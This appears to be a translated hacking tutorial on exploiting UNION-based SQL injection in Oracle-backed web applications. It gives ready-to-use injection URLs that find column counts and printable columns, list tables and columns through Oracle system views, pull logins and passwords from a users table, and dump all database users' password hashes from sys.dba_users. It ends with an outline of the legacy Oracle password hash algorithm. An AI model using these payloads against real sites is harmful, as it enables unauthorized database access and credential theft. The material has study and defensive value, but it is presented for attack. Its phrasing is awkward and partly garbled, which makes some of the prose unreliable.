SQL injection in Oracle
Recently, when researching various web projects on vulnerabilities, I came across a sql injection in Oracle. Although currently it is rare to find use of this DBMS in Web programming, but still it happens. All the research ended with a simple detection of bugs, what else to do was incomprehensible. While searching for an article that describes the practical aspects of exploiting this vulnerability in Oracle, such as the articles cash and spyder describing injections in MSSQL and PostgreSQL, it was not found.
As a result of the search, it was found only a series of articles k00p3r, and completely copied from external sources and being a simple translation, the reading of which did not give a clear idea of holding cheekbones in Oracle, because articles in fact have a large volume, are of a theoretical nature, and for the most part contain water.
In the end, I had to recall the institutional skills of working with Oracle and re-read a bunch of scattered information on the Internet. In this article I would like to share with you the fact that I managed to dig up the implementation of sql injection in Oracle and try to combine it into one.
Well, try to fill the gap, and add a series of articles cash and spyder.
[Features of Oracle]
First, I'll give some properties that need to be considered when injecting into Oracle. At once I want to make a reservation that in the article injections in the SELECT statement are considered. Although injection in INSERT, UPDATE and DELETE operators is also possible.
Just as important is the fact that the article deals with injection issues in Oracle's SQL queries, rather than in Oracle's PL / SQL procedures. A significant difference between injections in PL / SQL procedures is the possibility of using the query separator - a semicolon ";" character. But about it it is necessary to write a separate article, with a description of all the consequences. Moreover, the author believes that in Web applications, injections are most common in SQL queries (at least, I have encountered only such ones).
In Oracle, as well as in MySQL and PostgreSQL, an injection is performed using the UNION operator, i.e. with the composition of the combination of two queries (hereinafter, the term - subquery is used for simplicity of understanding). But in addition to the coincidence of the number of columns in the main query and the subquery, it should be noted that Oracle does not automatically cast types in a subquery. Therefore, when selecting columns, you need to substitute null, in contrast, for example from MySQL.
Also, a very important property is that all SELECT queries must be made from a table, i.e. the query syntax must always contain the word FROM and the name of the table. For simple arithmetic calculations or other operations that do not require a real table, there is a pseudo SYS.DUAL table in Oracle.
An important feature is the absence of the LIMIT operator.
To truncate the query, the comment characters "-" (two dashes) and "/ *" (a straight slash and an asterisk) in Oracle SQL are used. The first type of commentary is one-line. The second type is multiline.
There is no possibility of using multiple SQL queries using the ";" delimiter, unlike PL / SQL routines.
If an error is detected, you can uniquely identify Oracle, by the presence of the word ORA in the text of the error message, for example:
Macromedia][Oracle JDBC Driver][Oracle]ORA-00933: SQL command not properly ended
The word Oracle is not always in the text of the error, for example
Warning: OCIStmtExecute: ORA-01722: invalid number in
[Selection of columns]
Let the error be present in the id parameter:
The definition of the number of columns present in the main query is the same as in MySQL. Since the UNION operator requires the same number of columns, both in the main query and in the subquery, we need to determine the number of these columns. If you incorrectly specify the columns in the subquery, a standard error message is displayed:
ORA-XXXXX: query block has incorrect number of result columns
For the selection of columns there are 2 known methods and well described in the article spyder. But I'll bring them again, so that the reader does not run around the articles:
1. A simple search.
Make the following query
If the error appears, increase the number of columns by one
and so on until the error disappears.
2. Using the ORDER BY clause
The second way is much faster and more pleasant if the number of columns is large enough. Make the following query
if there is no error, then columns 1 or more 1
With such a query, an error should appear, which means that the columns are less than 99999. Then, in the same way, we narrow the boundaries of the selected interval to the left and right and ultimately determine the actual number of columns in the main query.
[Definition of printable columns]
Let's say we have determined the exact number of columns in the main query, let's say 4.
www.site.com/view.php?id=-1+union+select+null, null, null, null+from+sys.dual--
Now we need to define those columns that are displayed on the page. Usually, columns with data types int, char and data participate in the output. We will have enough printable columns with types int and char, and we will look for them.
As noted earlier, Oracle does not automatically cast types in a subquery. Therefore, if we try to substitute in a column for values of an inappropriate type, we get the following type mismatch error
ORA-XXXXX: expression must have same datatype as corresponding expression
Next, we begin to compose queries, alternately replacing each column by any number
www.site.com/view.php?id=-1+union+select+123, null, null, null+from+sys.dual--
www.site.com/view.php?id=-1+union+select+null, 123, null, null+from+sys.dual--
Thus, we will identify printable columns of type int. In that case, if we get a typo mismatch error, we can use the to_char (), to_date () type conversion functions and identify printable columns with char and data types.
www.site.com/view.php?id=-1+union+select+null, to_char(123), null, null+from+sys.dual--
For reference, here is the syntax of the to_char () function:
to_char (value, [format_mask], [nls_language])
[Receiving the information]
After we learned the number of columns and which of them are printable, we can safely proceed to obtaining the necessary information from the database. Well, if we know certain tables in the database and the columns in them, then getting information is not difficult. For example, if there is a USERS table with ID, LOGIN, and PASSWORD columns, the request for this data will look like this
www.site.com/view.php?id=-1+union+select+null, login, password, null+from+users+where+id=123--
As well as in MySQL, for convenience of display and overcoming of various problems with codings it is possible to use functions concat (), to_char ().
To overcome the filtering of quotes or other necessary characters, there is a chr () function.
[Tables and columns]
If the user tables are not known to us, then we can get various information from the known Oracle system tables.
To find out the name of the user under which the interface works, which means you, you can call the user or sys.login_user
www.site.com/view.php?id=-1+union+select+null, user, null, null+from+sys.dual--
You can get a list of sessions like this: select * from V $ session
Of great interest are the tables SYS.USER_TABLES and SYS.USER_TAB_COLUMNS, which contain all the tables and their columns available to the user. We pull out the names of the tables and columns:
www.site.com/view.php?id=-1+union+select+null, table_name, null, null+from+sys.user_tables--
www.site.com/view.php?id=-1+union+select+null, column_name, null, null+from+sys.user_tab_columns--
Also, in my opinion, in the table SYS.USER_TABLES besides table_name, the following columns are of interest: tablespace_name, num_rows, freelist_groups.
But, unfortunately, the above requests will lead us to only one - the first record from the entire table. There is an irresistible desire to use the LIMIT operator, either in MySQL or in PostgreSQL. To the great general disappointment, this operator is not supported in Oracle, and moreover does not have a worthy equivalent in the form of another operator.
"Everything was lost !!!" - you will say.
"NO !!!" - I will answer you.
Having tortured pretty much google, I still found the opportunity to compose a complex query though somehow remotely realizing the semantic load of the LIMIT operator. Unfortunately, it was not possible to restore its full capabilities.
www.site.com/view.php?id=-1+union+select+null, table_name, null, null+from+sys.user_tables+where+rownum+<=+5--
Thus, by scanning a different number of records in the sample, we can look at all the names of the tables in turn. The same design can be used more often when viewing the SYS.USER_TAB_COLUMNS table, when all column names are available to the user.
Also in Oracle there is the concept of an object prefix (the table is an object), which is present in the name or name of the table:
ALL_ - all available to the user (the owner may not be),
USER_ - objects whose owner this user is.
Therefore, we can simplify the task and pull out the names of only those tables to which we have access
www.site.com/view.php?id=-1+union+select+null, table_name, null, null+from+sys.all_tables
The information from the following standard tables can also be of interest: SYS.USER_OBJECTS, SYS.USER_VIEWS, SYS.USER_VIEWS, SYS.USER_CATALOG, SYS.USER_TRIGGERS, SYS.TAB.
If we are lucky and the user under which we work with the database has sysdba rights, then we can get hashes of all database users.
The main place of storage of the convolution of the password (hash) is the table of the dictionary-directory SYS.USER $. Above this table, the derivative is constructed as the base, SYS.DBA_USERS. If PASSWORD_REUSE_TIME is enabled in the user profile, the password convolution is also stored in SYS.USER_HISTORY $. You can get hashes and user names like this
www.site.com/view.php?id=-1+union+select+null, username, password, null+from+sys.dba_users
For completeness of the information, I will also present an algorithm for calculating the convolution of the password, just in case, maybe someone will come in handy:
1. The text of the password is glued to the user name on the right.
2. In the resulting line, the letters are incremented.
3. The string characters are converted to a two-byte format by adding the zero value 0x00 (for ASCII characters) to the left, and the line is appended to the right by zero bytes to a total length of 80.
4. The resulting string is encrypted by the DES algorithm in the mode of coupling ciphertext blocks (CBC) with the key 0x0123456789ABCDEF.
5. From the last result block, the parity bits are deleted and the received string (56 bits) is used to newly encrypt the original string in the same way.
6. The last block of the result is translated into the signs of hexadecimal arithmetic and is declared the final result-convolution.